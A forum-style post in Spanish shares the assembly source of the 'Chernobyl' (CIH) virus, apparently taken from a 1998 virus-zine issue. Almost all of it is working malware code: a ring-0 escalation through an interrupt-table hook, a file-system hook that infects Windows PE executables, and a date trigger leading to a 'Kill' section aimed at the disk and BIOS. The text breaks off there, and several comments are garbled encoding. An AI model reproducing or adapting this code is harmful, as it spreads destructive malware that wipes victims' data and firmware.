Aqui esta el codigo fuente del famoso virus "Chernobyl". Se ve que ya no funciona pero es interesante tener el codigo fuente de este famoso virus...
--------------------------------------------------------------------------- ---------------------------CODE-------------------------------------------- ----------------------------------------------
comment *
INFECTED VOICE ISSUE 98'09 (C)1994-98, by STEALTH group
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; --------------------------------------------------------------------------- -
;-------------------------------------------------------------------------- --
TRUE = 1
FALSE = 0
DEBUG = TRUE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG
FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h
ELSE
FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h
ENDIF
FileNameBufferSize = 7fh
;-------------------------------------------------------------------------- --
;-------------------------------------------------------------------------- --
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
;-------------------------------------------------------------------------- --
; (Ring3)
;-------------------------------------------------------------------------- --
MyVirusStart:
push ebp
;-------------------------------------------------------------------------- --
; Structured Exception Handing,
; ¨windows NT.
;-------------------------------------------------------------------------- --
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
;-------------------------------------------------------------------------- --
; Interrupt Descriptor Table - â
;-------------------------------------------------------------------------- --
push eax ;
sidt [esp-02h]
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx]
mov bp, [ebx-04h]
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; �¥à¥å¢ â¨âì ¯à¥àë¢ ¨¥
mov [ebx+02h], si ; è â®çª ¢å®¤
pop esi
;-------------------------------------------------------------------------- --
int HookExceptionNumber ; ƒ¥¥à¨à㥬
ReturnAddressOfEndException = $
;-------------------------------------------------------------------------- --
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
;-------------------------------------------------------------------------- --
int HookExceptionNumber ; ƒ¥¥à¨à㥬 ᮢ
;-------------------------------------------------------------------------- --
; ‚®ááâ ®¢¨¬ Structured Exception Handing (SEH) § ¤
;-------------------------------------------------------------------------- --
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
;-------------------------------------------------------------------------- --
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
;-------------------------------------------------------------------------- --
pop ebp
push 00401000h
OriginalAddressOfEntryPoint = $-4
ret
;-------------------------------------------------------------------------- --
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
;-------------------------------------------------------------------------- --
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
;-------------------------------------------------------------------------- --
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16
mov [ebx+02h], bp ;
iretd
;-------------------------------------------------------------------------- --
AllocateSystemMemoryPage:
mov dr0, ebx
push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h
add esp, 08h*04h
xchg edi, eax
lea eax, MyVirusStart-@2[esi]
iretd
;-------------------------------------------------------------------------- --
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h
mov dr0, eax
; (OldFileSystemApiHook)
pop eax ; EAX = ¤à¥á FileSystemApiHook
; (IFSMgr_InstallFileSystemApiHook)
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; (IFSMgr_InstallFileSystemApiHook)
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init
;-------------------------------------------------------------------------- --
CodeSizeOfMergeVirusCodeSection = offset $
;-------------------------------------------------------------------------- --
; IFSMgr_InstallFileSystemApiHook
;-------------------------------------------------------------------------- --
InstallFileSystemApiHook:
push ebx
call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h
pop eax
; IFSMgr_InstallFileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; IFSMgr_InstallFileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax
; (OldFileSystemApiHook)
pop eax
pop ebx
ret
;-------------------------------------------------------------------------- --
;-------------------------------------------------------------------------- --
OldInstallFileSystemApiHook dd ?
;-------------------------------------------------------------------------- --
(IFSMgr_FileSystemHook)
;-------------------------------------------------------------------------- --
;-------------------------------------------------------------------------- --
IFSMgr_FileSystemHook
;-------------------------------------------------------------------------- --
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5
;------------------------------------
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc
; (goto pIFSFunc)
;------------------------------------
; (OpenFile)!?
;------------------------------------
; (goto prevhook)
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook
;------------------------------------
inc byte ptr (OnBusy-@6)[esi]
;-------------------------------------------------------------------------- --
; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6
push esi
mov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
;-------------------------------------------------------------------------- *
; UniToBCSPath
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h
;------------------------------------
; '.EXE' !?
;------------------------------------
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
;------------------------------------
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
;------------------------------------
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
;------------------------------------
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
;------------------------------------
; (IFSMgr_Ring0_FileIO)
;------------------------------------
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]
;------------------------------------
test cl, 01h
jz OpenFile
;------------------------------------
mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
;------------------------------------
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
;------------------------------------
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
;------------------------------------
mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO
;------------------------------------
IsOpenFileOK:
popf
jc DisableOnBusy
;------------------------------------
push esi
; (FileNameBuffer)
pushf
add esi, DataBuffer-@7
; mov esi, offset DataBuffer
;--------------------------
xor eax, eax
mov ah, 0d6h
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
;-------------------------------------------------------------------------- --
dec edx
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
;-------------------------------------------------------------------------- --
; cmp [esi], '�PE�'
cmp dword ptr [esi], 00455000h
jne CloseFile
;-------------------------------------------------------------------------- --
(Portable Executable)
push ebx
push 00h
; (VirusCodeSectionTableEndMark)
;--------------------------
push 01h
push edx
push edi
;--------------------------
mov dr1, esp
;--------------------------
; ( Only First Set Size ) *
;--------------------------
push eax
;--------------------------
mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h
call edi ; VXDCall IFSMgr_Ring0_FileIO
;-------------------------------------------------------------------------- --
(NewAddressOfEntryPoint).
;-------------------------------------------------------------------------- --
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; “ª § ⥫ì
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax
;-------------------------------------------------------------------------- --
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]
;-------------------------------------------------------------------------- --
mov al, SizeOfScetionTable
; (NumberOfSections) <= 0ffh
mov cl, (NumberOfSections-@8)[esi]
mul cl
;--------------------------
;
lea esi, (StartOfSectionTable-@8)[esi]
push eax ; � §¬¥à
push edx
push esi
;-------------------------------------------------------------------------- --
inc ecx
push ecx
; (NumberOfSections+1)
shl ecx, 03h
push ecx ;
; (TotalSizeOfVirusCodeSectionTable)
add ecx, eax
add ecx, edx
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx
; Size of Following Section Table...
push ecx
xchg ecx, eax
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
;--------------------------
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
;-------------------------------------------------------------------------- --
xchg eax, ebp
push 00000004h
pop ecx
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
add edx, 12h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx
;-------------------------------------------------------------------------- --
pop ebx
pop edi
; (TotalSizeOfVirusCodeSectionTable)
pop ecx
; (NumberOfSections+1)
push edi ; � §¬¥à
add edx, ebp
push edx ; �®§¨æ¨ï
add ebp, esi
push ebp ; €¤à¥á ¡ãä¥à
;-------------------------------------------------------------------------- --
; (VirusCodeSectionTable)
lea eax, [ebp+edi-04h]
mov [eax], ebx
;-------------------------------------------------------------------------- --
push ebx ; Size
add edx, edi
push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer
;-------------------------------------------------------------------------- --
mov (NewAddressOfEntryPoint-@9)[esi], edx
;--------------------------
lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections
;--------------------------
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx
push edi
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx
or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
;--------------------------
OnlySetInfectedMark:
mov esp, dr1
jmp WriteVirusCodeToFile
;--------------------------
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile
;--------------------------
SetVirusCodeSectionTableEndMark:
add [eax], ebp
add [esp+08h], ebp
xor ebx, ebx
mov [eax-04h], ebx
;-------------------------------------------------------------------------- --
lea eax, (LastVxDCallAddress-2-@9)[esi]
mov cl, VxDCallTableSize
LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh
mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx
movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edx
loop LoopOfRestoreVxDCallID
;--------------------------
WriteVirusCodeToFile:
mov eax, dr1
mov ebx, [eax+10h]
mov edi, [eax]
LoopOfWriteVirusCodeToFile:
pop ecx
jecxz SetFileModificationMark
mov esi, ecx
mov eax, 0d601h
pop edx
pop ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO
jmp LoopOfWriteVirusCodeToFile
;-------------------------------------------------------------------------- --
SetFileModificationMark:
pop ebx
pop eax
stc
pushf
;------------------------------------
; ‡ ªàëâì ä ©«
;------------------------------------
CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO
;------------------------------------
popf
pop esi
jnc IsKillComputer
;------------------------------------
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO
;------------------------------------
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; ‚몫îç¨âì
;------------------------------------
; API ... (FileSystemApiHook)
;------------------------------------
prevhook:
popad
mov eax, dr0 ;
jmp [eax]
;-------------------------------------------------------------------------- --
pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h]
call [ebx+20h+04h]
pop ecx
mov [ebx+1ch], eax
;-------------------------------------------------------------------------- --
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;-------------------------------------------------------------------------- --
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax
;-------------------------------------------------------------------------- --
; (IFSMgr_FileSystemHook)
;-------------------------------------------------------------------------- --
QuitMyVirusFileSystemHook:
popad
ret
;------------------------------------
IsKillComputer:
; ¨§ BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ; ??/26/????
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF
;
;------------------------------------*
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
; Kill Kill Kill Kill Kill Kill Kill *
;------------------------------------*
;--------------------------
; �ਡ¨âì BIOS EE
|
